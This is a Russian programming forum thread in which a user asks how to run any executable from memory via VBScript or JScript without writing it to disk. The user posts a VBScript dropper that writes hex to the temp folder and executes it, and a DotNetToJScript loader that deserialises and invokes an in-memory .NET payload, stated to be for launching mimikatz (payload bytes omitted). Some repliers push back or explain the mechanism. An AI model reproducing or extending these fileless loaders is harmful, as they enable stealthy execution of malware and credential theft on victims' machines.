Форум программистов, компьютерный форум, киберфорум
VBScript/JScript/WSH/WMI
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.61/18: Рейтинг темы: голосов - 18, средняя оценка - 4.61
0 / 0 / 0
Регистрация: 25.02.2016
Сообщений: 194

Запуск программы на оперативную память без создания файла (exe) в жесткий диск

22.08.2017, 20:41. Показов 4136. Ответов 6
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Необходимо создать скрипт в котором будет HEX код любой программы, необходимо не создавая файл запустить его.
У меня имеется пример (рабочий пример подкреплен внизу hello формате rar) но только он сначала создаёт файл а потом открывает его.
Visual Basic
1
2
3
4
5
6
7
8
9
10
t=t&"Здесь hex"
Set s=CreateObject("Scripting.FileSystemObject")
p=s.getspecialfolder(2) & "software.exe"
Set f=s.CreateTextFile(p,1)
for i=1 to len(t) step 2
x=mid(t,i,2)
f.Write Chr(int("&H" & x))
next
f.Close
WScript.CreateObject("WScript.Shell").run(p)
Вложения
Тип файла: rar hello world.rar (9.3 Кб, 11 просмотров)
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
22.08.2017, 20:41
Ответы с готовыми решениями:

Запись массива в оперативную память без exe
Приветствую, возникла проблема в целях криптографии и защиты информации требуется чтобы массив байтов исходной программы выливался в...

Запуск .exe из приложения (не извлекая его на жёсткий диск)
Доброго времени суток, такой вопрос, наткнулся на тему, в ней выложен исходник проекта, в котором приложение при запуске имеет одну кнопку,...

Запуск программы без создания окна. Запуск фоновой программы
Вопрос, как сделать, чтобы консольное приложение при запуске не создавало окошко консоли. Т.е. запустился процесс, но визуально ничего не...

6
Почетный модератор
Эксперт по компьютерным сетямЭксперт Windows
 Аватар для magirus
28049 / 15785 / 983
Регистрация: 15.09.2009
Сообщений: 67,752
Записей в блоге: 78
22.08.2017, 20:47
VBS и JS - языки интерпертируемые. и EXE не создают.
0
0 / 0 / 0
Регистрация: 25.02.2016
Сообщений: 194
23.08.2017, 16:06  [ТС]
Цитата Сообщение от magirus Посмотреть сообщение
EXE не создают
Я тут несогласен потому что пример в верху доказывает что можно создать exe в языке vbs.
У меня имеется даже один пример на JScript который не создавая exe файл запускает его.
0
61 / 61 / 36
Регистрация: 16.09.2015
Сообщений: 296
23.08.2017, 16:33
AlisherUser, без exeшника это только сразу в память грузить, а vbs с памятью не работает
0
6972 / 2865 / 1101
Регистрация: 06.06.2017
Сообщений: 9,736
23.08.2017, 18:51
VBS взаимодействует с памятью в любом случае, иначе и быть не может. Но просто отобразить что-то в памяти - это одно, а вот выполнить из неё некий сторонний код совсем другой уровень. Для конкретной задачи что-нибудь запредельно заковыристое с помощью DynamicWrapperX сварганить, может, и можно. Но этим тут заниматься точно никто не будет. Ещё не хватало на VBS-е руткиты писать.

Цитата Сообщение от AlisherUser
У меня имеется даже один пример на JScript который не создавая exe файл запускает его.
Вирусный? Если нет, то не помешало бы выложить.
0
0 / 0 / 0
Регистрация: 25.02.2016
Сообщений: 194
24.08.2017, 08:33  [ТС]
Цитата Сообщение от FlasherX Посмотреть сообщение
Вирусный? Если нет, то не помешало бы выложить.
FlasherX,Код невирусный. Этот код создан для запуска программы mimikatz. В нижеуказанном коде я удалил значения serialized_obj потому что это код программы mimikatz и оно очень длинная.
Вот код:
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var serialized_obj = [Тут код программы(в таком виде:0,1,0,0,0,255,255,255,255,1,0,)];
var entry_class = 'TestClass';
 
try {
    var stm = new ActiveXObject('System.IO.MemoryStream');
    var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
    var al = new ActiveXObject('System.Collections.ArrayList')
 
    for (i in serialized_obj) {
        stm.WriteByte(serialized_obj[i]);
    }
 
    stm.Position = 0;
    var n = fmt.SurrogateSelector;
    var d = fmt.Deserialize_2(stm);
    al.Add(n);
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
    
} catch (e) {
    WScript.Echo(e.message);
}
Этот JS код создан с помощью программы DotNetToJScript(можно скачать с github - а там имеется только исходный код, необходимо самому компилировать exe), но только есть одно но оно может запускать только приложения на .NET и даже не поддерживает все версии.
Если кто нибудь знает как сделать так чтобы запускалась любая программа(не только на .NET) поделитесь пожалуйста.
0
Покинул форум
3700 / 1483 / 355
Регистрация: 07.05.2015
Сообщений: 2,903
25.08.2017, 20:52
AlisherUser, фокус в том, что в приведенном приере задействуются .NET классы, зарегистрированные в системе как COM-объекты. Класс MemoryStream, как следует из названия, работает с потоками в памяти. JScript.NET вполне по силам сделать то, что находится в заголовке темы. Теоретически, если зарегистрировать еще пару сборок как COM'ы, можно сделать и с помощью WSH, но писать писать концепты за просто так уже, если честно, задрало.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
25.08.2017, 20:52
Помогаю со студенческими работами здесь

Запуск exe из ресурсов без распаковки на диск
Всем привет, как спрятать exe файл и запустить его в своей программе "не извлекая на диск"? Как я понял это делается через ресурсы,...

Запуск файла из оперативной памяти не используя жесткий диск
Добрый день! Давайте представим, что нам нельзя ничего хранить на ЖД, но у нас есть в какой-нибудь переменной какой-нибудь скрипт, который...

Запуск программы по событию создания файла
Здравствуйте значит так есть программа которая ну совсем ни как не подключена к БД и подключению не подлежит. С помощью этой программа...

Запуск exe файла без mingw
Использую codeblocks под windows, возникла проблема при запуске построенного exe файла. Через codeblocks запускается норм. А отдельно не...

Svhost.exe грузит оперативную память
svhost.exe выдает а диспетчере задач от 200-1000 мб загрузки оперативной памяти, можно завершить процесс и на какое-то время исчезает. Не...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
7
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве
8Observer8 02.02.2026
Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf
8Observer8 01.02.2026
Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .
SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли
8Observer8 30.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm
8Observer8 30.01.2026
Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .
SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 29.01.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .
Инструменты COM: Сохранение данный из VARIANT в файл и загрузка из файла в VARIANT
bedvit 28.01.2026
Сохранение базовых типов COM и массивов (одномерных или двухмерных) любой вложенности (деревья) в файл, с возможностью выбора алгоритмов сжатия и шифрования. Часть библиотеки BedvitCOM Использованы. . .
SDL3 для Android: Загрузка PNG с альфа-каналом с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 28.01.2026
Содержание блога SDL3 имеет собственные средства для загрузки и отображения PNG-файлов с альфа-каналом и базовой работы с ними. В этой инструкции используется функция SDL_LoadPNG(), которая. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru